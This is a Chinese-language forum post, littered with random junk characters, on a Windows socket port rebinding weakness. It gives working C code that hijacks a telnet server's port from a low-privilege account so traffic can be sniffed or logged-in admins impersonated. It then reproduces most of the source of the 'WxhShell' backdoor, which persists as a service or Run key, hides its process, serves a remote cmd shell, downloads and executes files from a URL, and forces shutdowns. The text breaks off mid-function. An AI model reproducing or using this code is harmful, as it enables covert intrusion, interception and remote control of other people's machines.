-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A`5/u"]*D s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?{)s dJe 34D7qR saddr.sin_family = AF_INET; IInsq v+), uj saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6w? l
I +qWrm|O] bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tom1u>1n P' ";L6h 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @]{+9m8G@ `Kt]i5[ " 这意味着什么?意味着可以进行如下的攻击: T>~D(4r|pS |9fvj6?Y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?(t{VdZSzQ _mEW]9Sp 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) he
vM'"|4 mY)Y47iL 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @4O;dFOQ) %Voq"}}N 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 >V01%fLd A"Prgf
eT 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4s:S_Dw '\,|B
x8Q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /Ezx'h3Q
KTmduf7DL 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #NvL@bH V[Z^Z #include 1"hd5a #include Yn~N;VUA #include Lddk:u&J #include A>bpP DWORD WINAPI ClientThread(LPVOID lpParam); Z$X[x7e. int main() 3iKy> { u@@0YUa WORD wVersionRequested; I7S#vIMXR. DWORD ret; Uo~-^w} WSADATA wsaData; #GlQwk3 BOOL val; W1$<,4j@M SOCKADDR_IN saddr; xn&$qLB SOCKADDR_IN scaddr; $:4*?8K2 int err; TV['"'D&i SOCKET s; }|Ao@UvH SOCKET sc; w nPg ). int caddsize; `\pv^#5HV9 HANDLE mt; 2~wIHtd DWORD tid; y8!#G-d5 wVersionRequested = MAKEWORD( 2, 2 ); (b*PDhl`+ err = WSAStartup( wVersionRequested, &wsaData ); )tD[Ffvr if ( err != 0 ) { +n>_NVe printf("error!WSAStartup failed!\n"); jG E=7 return -1; }~akVh`3 } j-CSf(qIj saddr.sin_family = AF_INET; HtN!Hgpwg $*k9e ^{S //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
W>HGB 01_*^iCf5 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -,Oq=w*EV saddr.sin_port = htons(23); U?[_ d if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KT9!R { [2l2w[7Rid printf("error!socket failed!\n"); <aPbKDF~V return -1; ElK7jWJ+ } ~x #RIt val = TRUE; YTk"'q- //SO_REUSEADDR选项就是可以实现端口重绑定的 W[R^5{k` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jI;iTKjB( { Z+%w|Sx printf("error!setsockopt failed!\n"); dln1JZ! return -1; :,f~cdq= } ;dR4a@ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ALO0yc //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 })#SjFq<V //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 iL6Yk @ y+"6Y14 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *i)3q+%. { o]jPG ret=GetLastError(); ?B5934X printf("error!bind failed!\n"); <j<V{Wc return -1; gAPD
y/wM } 8=T[Y`;x listen(s,2); s-[v[w'E while(1) <=g{E- { -KA Y caddsize = sizeof(scaddr); Zai:?%^ //接受连接请求 Q&k1' nT5 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .I#ss66h if(sc!=INVALID_SOCKET) *]#(?W.$w { |3SM mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9!u&8#i if(mt==NULL) d H ; { :g~X"C1s printf("Thread Creat Failed!\n"); >K@Y8J+e# break; rQLl[a } OciPd/6 } uN*Ynf(:- CloseHandle(mt); L}Rsg'U } {Lg]chJq? closesocket(s); ;%a WSACleanup(); 8:gUo8 return 0; =pnMV"'9 } kdW$>Jqb DWORD WINAPI ClientThread(LPVOID lpParam) B }t529Z { -
U Elu4n& SOCKET ss = (SOCKET)lpParam; e jh0Wfl SOCKET sc; X"EZpJ'W unsigned char buf[4096]; IY40d^x SOCKADDR_IN saddr; ~m6b6Aj@6 long num; ttd
^jT DWORD val; &G$K.q DWORD ret; y}*J_7- //如果是隐藏端口应用的话,可以在此处加一些判断 J>dIEW%u //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 EGw;IFj) saddr.sin_family = AF_INET; vT{+Z\LL= saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); khQ@DwO*\= saddr.sin_port = htons(23); h]>7Dl] if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Rc2JgV { (TTS-( printf("error!socket failed!\n"); iPCDxDLN3V return -1; K:L_y1!T } 5MHcgzyp val = 100; c1sVdM}| if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G/N 1[) { E2i'lO\P ret = GetLastError(); :>K8oE
return -1; t->I# t7 } :ZsAWe{%,J if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sL4j@Lt { xRbtiFk9H ret = GetLastError(); *&doI%q return -1; rr^?9M*{V } dGG 8k& if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bZlKy`Z { K:q|M?_ printf("error!socket connect failed!\n"); Y|nC_7&Bv closesocket(sc); r?2J
closesocket(ss); `
#; " return -1; &j?+%Y1n@ } S~hoAl"xb/ while(1) l}_6_g>6 { oxNQNJ!X //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,lDOo+eE%: //如果是嗅探内容的话,可以再此处进行内容分析和记录 &2sfu0K //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L/xTW num = recv(ss,buf,4096,0); NiBly if(num>0) 0q o]nw send(sc,buf,num,0); ;iO5
8S3 else if(num==0) k*K.ZS688 break; uJSzz:\ num = recv(sc,buf,4096,0); e]*@|e4b if(num>0) UW'@3#<? send(ss,buf,num,0);
%\] x}IC else if(num==0) trz&]v=: break; |a!]Iqz"N } @kW RI* m closesocket(ss); z#*>u closesocket(sc); KD`*[.tT return 0 ; R q`j|tY } G]zyx"0Sqb j1O_Az|3 "0aJE1)p: ========================================================== oH;9s-Be 5pH6] $ 下边附上一个代码,,WXhSHELL u$<>8aMei ZVz`g] ========================================================== Eg(.L,dj 6PT"9vR`) #include "stdafx.h" )1gOO{T]h? 0y`r.)G #include <stdio.h> 9@>Q7AUCQ #include <string.h> nLY(%):(P #include <windows.h> zALtG<_t #include <winsock2.h> x7!gmbMfK' #include <winsvc.h> Ejj+%)n. #include <urlmon.h> QxT\_Nej*n y' RQ_Gi #pragma comment (lib, "Ws2_32.lib") >';UF;\5]Q #pragma comment (lib, "urlmon.lib") 9`tSg!YOh |#ZMZmo{ #define MAX_USER 100 // 最大客户端连接数 'x<o{Hi"\B #define BUF_SOCK 200 // sock buffer (W
|;gQ #define KEY_BUFF 255 // 输入 buffer u] Z;Q_= ^&KpvQNW_ #define REBOOT 0 // 重启 ]Jo}F@\g #define SHUTDOWN 1 // 关机 @a (-U.CZ ldt]=Sqy #define DEF_PORT 5000 // 监听端口 AP+%T
/vs79^& #define REG_LEN 16 // 注册表键长度 Ch_eK^ g1 #define SVC_LEN 80 // NT服务名长度 RMHJI6?LB e2kW,JV/<$ // 从dll定义API }H:wgy` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LZDJ\"a- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); INY?@in typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rE%HNPO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h_5CWQSi O!P7Wu // wxhshell配置信息 q!{>Nlk struct WSCFG { nh+Hwj#(x int ws_port; // 监听端口 Gn^m 541 char ws_passstr[REG_LEN]; // 口令 1s.>_ int ws_autoins; // 安装标记, 1=yes 0=no (0["|h32, char ws_regname[REG_LEN]; // 注册表键名 7Y5.GW\^ char ws_svcname[REG_LEN]; // 服务名 N(%(B char ws_svcdisp[SVC_LEN]; // 服务显示名 ZF@$3 char ws_svcdesc[SVC_LEN]; // 服务描述信息 Of>2 m< char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \. a 7F4h int ws_downexe; // 下载执行标记, 1=yes 0=no $f=6>Kn|^] char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ~l}\K10L* char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !8&EkXTw, [lGxys)J }; gxmY^"Jy Xi;<O&+ // default Wxhshell configuration P=.~LZZ]89 struct WSCFG wscfg={DEF_PORT, 9.B gsV . "xuhuanlingzhe", R>B6@|}? 1, h@dy}Id "Wxhshell", tLcw?aB "Wxhshell", og&-P=4O "WxhShell Service", zUq(bD "Wrsky Windows CmdShell Service", Qna*K7kv "Please Input Your Password: ", fr`Q
5!0 1, gv){&=9/
" http://www.wrsky.com/wxhshell.exe", _'l"Dk "Wxhshell.exe" Ol;DJV }; (4|R}jv n`V? n // 消息定义模块 D!z'Y,. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5+UNLvsZ char *msg_ws_prompt="\n\r? for help\n\r#>"; -$$mr U char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; <H$!OPV char *msg_ws_ext="\n\rExit."; LtUvFe char *msg_ws_end="\n\rQuit."; W#2} EX char *msg_ws_boot="\n\rReboot..."; "R"{xOQl char *msg_ws_poff="\n\rShutdown..."; @w;$M]o1 char *msg_ws_down="\n\rSave to "; Oh%p1$H b!r%4Ah char *msg_ws_err="\n\rErr!"; qkqtPbQ 7 char *msg_ws_ok="\n\rOK!"; c
Qe3 `g<0FQA char ExeFile[MAX_PATH]; frc9 int nUser = 0; bd H+M?k HANDLE handles[MAX_USER]; I%NeCd int OsIsNt; SgssNv )Y6\"-M[ SERVICE_STATUS serviceStatus; {yDQncq'^ SERVICE_STATUS_HANDLE hServiceStatusHandle; 33&l.[A"!} O[\mPFu5 // 函数声明 #8~ygEa} int Install(void); KTBtLUH]*F int Uninstall(void); 1OV] W
f int DownloadFile(char *sURL, SOCKET wsh); [SD
mdr1T$ int Boot(int flag); hM[3l1o{| void HideProc(void); *qu5o5Q int GetOsVer(void); eL.WP`Lz int Wxhshell(SOCKET wsl); 56Z void TalkWithClient(void *cs); E#,\[<pc int CmdShell(SOCKET sock); 6)BPDfU, int StartFromService(void); o2cc3`*8d int StartWxhshell(LPSTR lpCmdLine); 7!wc'~; P- +]4\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xGFbh4H=8p VOID WINAPI NTServiceHandler( DWORD fdwControl ); O3mw5<%15 T8&eaAoo // 数据结构和表定义 97~>gFU77# SERVICE_TABLE_ENTRY DispatchTable[] = TZGk[u^* { s6r(\L_Im {wscfg.ws_svcname, NTServiceMain}, Mdh]qKw
{NULL, NULL} +v$W$s&b-h }; 0+u>"7T v7Ps-a) // 自我安装 H23 O]r int Install(void) sPVE_n { ,SNt*t1" char svExeFile[MAX_PATH]; 3hxV`rb HKEY key; 6}VFob#h8 strcpy(svExeFile,ExeFile); e=aU9v
L |KVVPXtq%C // 如果是win9x系统,修改注册表设为自启动 <sw=:HU if(!OsIsNt) { A3*(c3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NCY2^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hn\d{HP RegCloseKey(key); h-RhmQA=Iz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Sk)lT^by RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t&NpC;>v RegCloseKey(key); M< .1U?_# return 0; &W c$VDC } !|j|rYi- } E m^Dg9 } hgzNEx%^q else { qozvNJm) y. 1F@w| // 如果是NT以上系统,安装为系统服务 2i;ox*SfpU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cD=IFOB*GD if (schSCManager!=0) NUJ $)qNA { ly35n` SC_HANDLE schService = CreateService =FI[/"476 ( bC~I}^i\ schSCManager, 5pC}ZgEa< wscfg.ws_svcname, t`{T:Tjc wscfg.ws_svcdisp, $4~Z]-38#A SERVICE_ALL_ACCESS, G
"!v)o SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?L0k|7 SERVICE_AUTO_START, 9_,f)2)~W SERVICE_ERROR_NORMAL, 1Lk(G9CoY svExeFile, ez.a NULL, ;<thEWH;Y NULL, W amOg0 NULL, )B)f`(SA"< NULL, t1"#L_<e NULL hvQXYo>TZx ); %4Qs|CM)m if (schService!=0) {qbe
ye! { :>r
W`=
e' CloseServiceHandle(schService); uv<_.Jq] CloseServiceHandle(schSCManager); zx,9x*g strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); So8
Dwz? strcat(svExeFile,wscfg.ws_svcname); T:zM]%Xh if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :=TIq RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1_A_)l11 RegCloseKey(key); |$e'yx6j return 0; ,G5[?H;ZN } mw}Bl;
- O } [p~,;% CloseServiceHandle(schSCManager); nxx/26{
} 3-, W?
"aC } s@5~HyeI iP;"-Mj return 1; )p1~Jx( \ } y Vm>Pj6 X{Hh^H // 自我卸载 XZM@Rys int Uninstall(void) ;gSRpTS: { y1T(R# HKEY key; g>;@(:e^/ ;^0rY )& if(!OsIsNt) { 4#7*B yvf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QIlZZ RegDeleteValue(key,wscfg.ws_regname); OG$v"Yf~ RegCloseKey(key); @ \XeRx; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ie(.T2K RegDeleteValue(key,wscfg.ws_regname); _MLf58 RegCloseKey(key); "om7 :d return 0; 3)6- S } S*|/txE'~Y } \!BVf@>p% } 1^E5VG1[ else { {jmy:e2 3l41"5Fy& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z
b$]9(RS if (schSCManager!=0) Qubu;[0+a { 6]d]0TW_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qP<D9k> if (schService!=0) SY[3O { LX oJw$C if(DeleteService(schService)!=0) { x.wDA3ys CloseServiceHandle(schService); 7`&ISRU4 CloseServiceHandle(schSCManager); l
v hJ return 0; &KAe+~aPm } ZV+tHgzlv5 CloseServiceHandle(schService);
: v;U7 } ~IjID CloseServiceHandle(schSCManager); ^r(My} } D9A%8[Yo } jVQ89vf
~ RR
^7/- return 1; DyiJ4m}kh } 3Cc#{X-+ D\9-/p // 从指定url下载文件 UO@K:n int DownloadFile(char *sURL, SOCKET wsh) VZI!rFac { 3B
'j?+A HRESULT hr;
w:QO@ char seps[]= "/"; i2c|_B char *token; $HsNV6 char *file; |g)>6+?]W char myURL[MAX_PATH]; 9jqsEd-SW char myFILE[MAX_PATH]; @v2ko5 A$5M. strcpy(myURL,sURL); z]+L=+,, token=strtok(myURL,seps); S7Ty}?E@ while(token!=NULL) Ec3tfcNhR { dCTyfXou[= file=token; OQB7C0+ & token=strtok(NULL,seps); HNv~ZAzBG- } Cd"{7<OyM4 @r/~Y]0Ye5 GetCurrentDirectory(MAX_PATH,myFILE); qJrKt=CE strcat(myFILE, "\\"); 3u$1W@T( strcat(myFILE, file); CssE8p>"F send(wsh,myFILE,strlen(myFILE),0); [i ~qVn2vT send(wsh,"...",3,0); ?zm]KxIC hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lYJSg70P if(hr==S_OK) =!^
gQ0~4 return 0; QO(F%&v++ else !p/?IW+ return 1; ?`rAO#1 VDbbA\ } v#/Gxk9eX Q]/%Y[%| // 系统电源模块 n*=#jL int Boot(int flag) p\ ;|Z+0= { M\5| HANDLE hToken; 2*V[kmD/3 TOKEN_PRIVILEGES tkp; 5HV+7zU5 ~<n.5q%Z if(OsIsNt) { ?V^7`3F OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qz>R"pj0g LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GgG#]a!_f tkp.PrivilegeCount = 1; G#7(6:=;,` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ud$-A AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E6 -*2U)k+ if(flag==REBOOT) { m)Kg6/MV. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x'I!f? / & return 0; </`\3t } WJnGF3G> else { @CmKF if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !EhKg)y= return 0; 3wq<@dRv4 } (;},~( 2B } IUFc_uL@\ else { @nY]S\if if(flag==REBOOT) { src+z# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `{G&i\"n return 0; >9dD7FH } !
I0xq" else { ^D$|$=|DH if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \xCCJWek return 0; h&$h<zL[ } yEI@^8]s } ezp%8IZ; ?zf3Fn2y return 1; zR^Gy" } gYc]z5` Oti*"dV\:: // win9x进程隐藏模块 wc4BSJa,19 void HideProc(void) nm,LKS7 { F^NK"<tW <]M.K3> HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _Ns EeKU if ( hKernel != NULL ) K8sRan[4} { ~I@lsCh pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W-n4wIj" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fx{8ERo FreeLibrary(hKernel); 7PX`kI } ,
,{UGe3 1
&9|~">{C return; @a?7D;+< } MxIa,M< QS&B"7;g // 获取操作系统版本 rTIu' int GetOsVer(void) 6(f'P_* { Yg^ &4ZF OSVERSIONINFO winfo; Y#ZgrziYM winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [7FG;}lB- GetVersionEx(&winfo); GBbnR:hM if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #4msBax4 return 1; x?+w8jSR else 'j6O2=1 return 0; mLxgvp } AAevN3a#nI eyCZ[SC // 客户端句柄模块 h^yqrDyJ int Wxhshell(SOCKET wsl) `GCoi ?n7 { "tzu.V- SOCKET wsh; [X.bR$> struct sockaddr_in client; vA1YyaB DWORD myID; E+]9!fDy< E^axLp>(I while(nUser<MAX_USER) 8Y?M:^f~ { >1Z"5F7= int nSize=sizeof(client); 5 8bW wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Rqh5FzB> if(wsh==INVALID_SOCKET) return 1; W&?Qs=@ hw^&{x handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uw}Rr7q if(handles[nUser]==0) I+8n;I)]X closesocket(wsh); O,Q.- else hJ}i+[~be nUser++; j<B9$8x& } vwU1}H WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hJ@vlMW a[-!X7,IU return 0; 69g{oo } `t~jHe4!Y 2s\ClT // 关闭 socket l#'V
SFm& void CloseIt(SOCKET wsh) to'7o8Z { +3)r
szb72 closesocket(wsh); 'r?ULft1 nUser--; ~zqb{o^pT ExitThread(0); +WH\,E }
Q.g/ o|kykxcq // 客户端请求句柄 $.SBW=^V void TalkWithClient(void *cs) \#{PV\x:Nn { *;Jb= fE-R(9K SOCKET wsh=(SOCKET)cs; k6(7G@@} char pwd[SVC_LEN]; E(jZ Do char cmd[KEY_BUFF]; ju"z char chr[1]; uzy5rA== int i,j; 9P?0D pM?;QG;jA while (nUser < MAX_USER) { b2m={q(s Zse&{ if(wscfg.ws_passstr) { $9)os7H7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }aZuCe_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >HP
`B2Q
H //ZeroMemory(pwd,KEY_BUFF); b(iF0U>& i=0; )kpEcMlR while(i<SVC_LEN) { HN7CcE+l +[7~:e}DZ // 设置超时 :GXF=Df fd_set FdRead; D|:'|7l W struct timeval TimeOut; _%w680b' FD_ZERO(&FdRead); j9p6rD FD_SET(wsh,&FdRead); #De>EQ% TimeOut.tv_sec=8; #,%bW[L<N TimeOut.tv_usec=0; `2mddx8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Joow{75K if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2Y
vr|] \8 =&}@GsXdo if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^4dE8Ve"@ pwd =chr[0]; AUnfhk@$ if(chr[0]==0xd || chr[0]==0xa) { 8tj]@GE pwd=0; XUqorE break; Eb8pM>'qM } X?5{2ulrI i++; Hn|W3U } )4yP(6|lx 8dGsV5" * // 如果是非法用户,关闭 socket BI1M(d#1L" if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,>;21\D
} aZFpt/.d $DbnPZ2$ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hbw(o
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "tJ+v*E I|Oco?Q" while(1) { }Q\%tZC#T ul~ux$a ZeroMemory(cmd,KEY_BUFF); &N~Eu-@b 82r8K|L.<y // 自动支持客户端 telnet标准 ,2@o`R.27 j=0; ^/f~\#R while(j<KEY_BUFF) { 7EJ2 On if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PTQ#8(_, cmd[j]=chr[0]; Ds9)e&yYrb if(chr[0]==0xa || chr[0]==0xd) { K@JZ$ cmd[j]=0; W__ArV2Z_ break; 1-2hh) } n(:<pz j++; mUYRioNj } H QqFrR
U0x
A~5B // 下载文件 YvR bM if(strstr(cmd,"http://")) { r/Y J, 2! send(wsh,msg_ws_down,strlen(msg_ws_down),0); V;M_Y$`Lh if(DownloadFile(cmd,wsh)) BEdCA]T send(wsh,msg_ws_err,strlen(msg_ws_err),0); O'<V[Y}6 else >B BV/C'9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kK6OZhLH } E/;t6&6 else {
;tOsA # ^_2c\mw_I switch(cmd[0]) { SE'Im d:=' Xs // 帮助 t R^f]+Up case '?': { LrB
0x> send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x~5uc$ break; &7L7|{18 } @X==[gQ // 安装 q+ax]=w case 'i': { :U6`n if(Install()) J4Gzp~{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); *uvM6F$ut else $y(;"hy send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,81%8r break; vy<W4 } +|A`~\@N // 卸载 9vI~vl l case 'r': { w"hd_8cO if(Uninstall()) 'VDWJTia send(wsh,msg_ws_err,strlen(msg_ws_err),0); R\j~X@vI else kDmm send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R9XU 7_3B break; n]%-2`}( } |[\;.gT K // 显示 wxhshell 所在路径 N /4E
~^2 case 'p': { p3s i\Fm! char svExeFile[MAX_PATH]; f ULt4 strcpy(svExeFile,"\n\r"); '{&Q&3J_ strcat(svExeFile,ExeFile); RSX27fb4 send(wsh,svExeFile,strlen(svExeFile),0); {6i|"5_j break; ~?Zib1f) } D#;7S'C // 重启 *2AD#yIKC case 'b': { Uh}PB3WZ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2]!@)fio` if(Boot(REBOOT)) hnj\|6L send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,9&cIUH else { !_fDL6a- closesocket(wsh); WAu>p3
ExitThread(0); NxP(&M( } "Q?+T:D8| break; HDe\Oty_ } CPz<iU // 关机 ?ZF):}rvZ case 'd': { Ailq,c send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DAn2Pqf if(Boot(SHUTDOWN)) D|uvgu2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sd7jd ?#9' else { ;!n> closesocket(wsh); T{dQ4
c ExitThread(0); 0ho;L 0Nr' } #QNN;&L]R break; AA\a#\#Z3 } dN8Mfa) // 获取shell dGKo!;7{ case 's': { n0(Q/ CmdShell(wsh); 4fLRl-) closesocket(wsh); \xYVnjG, ExitThread(0); 4Aj~mA break; SNj-h>&Mha } 4XkI? l // 退出 k^5Lv#Z case 'x': { J1w;m/oV send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zv]ZEWVzc CloseIt(wsh); d |17G break; WzIUHNn'I } IJ^~,+
// 离开 'a#lBzu\b case 'q': { 5`h$^l/ send(wsh,msg_ws_end,strlen(msg_ws_end),0); R)NSJ-A!2 closesocket(wsh); !%>RHh[ WSACleanup(); { _9O4 +
& exit(1); fi?4!h break; DbGS]k<$ } O8]e(i } JP#S/kJ%3 } ,54z9F` EU[\D; // 提示信息 Gwd38 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z8\YMr6o } q/O2E<=w*c } M2Q,&>M
j=r1JV
@ return; IeYYG^V<A } g~hMOI?KK^ 2`o
@L // shell模块句柄 IO)B3,g int CmdShell(SOCKET sock) 9q'9i9/3d { "U\RN STARTUPINFO si; UtQj<18< ZeroMemory(&si,sizeof(si)); )/RG-L si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4'QX1p si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -^_2{i PROCESS_INFORMATION ProcessInfo; /7}pReUj char cmdline[]="cmd"; PR8nJts W5 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xf
u0d1b return 0; Q-7?'\h } }c/p;< g=Z52y`N< // 自身启动模式 25>R^2,LiE int StartFromService(void) * %D_\0; { n`,
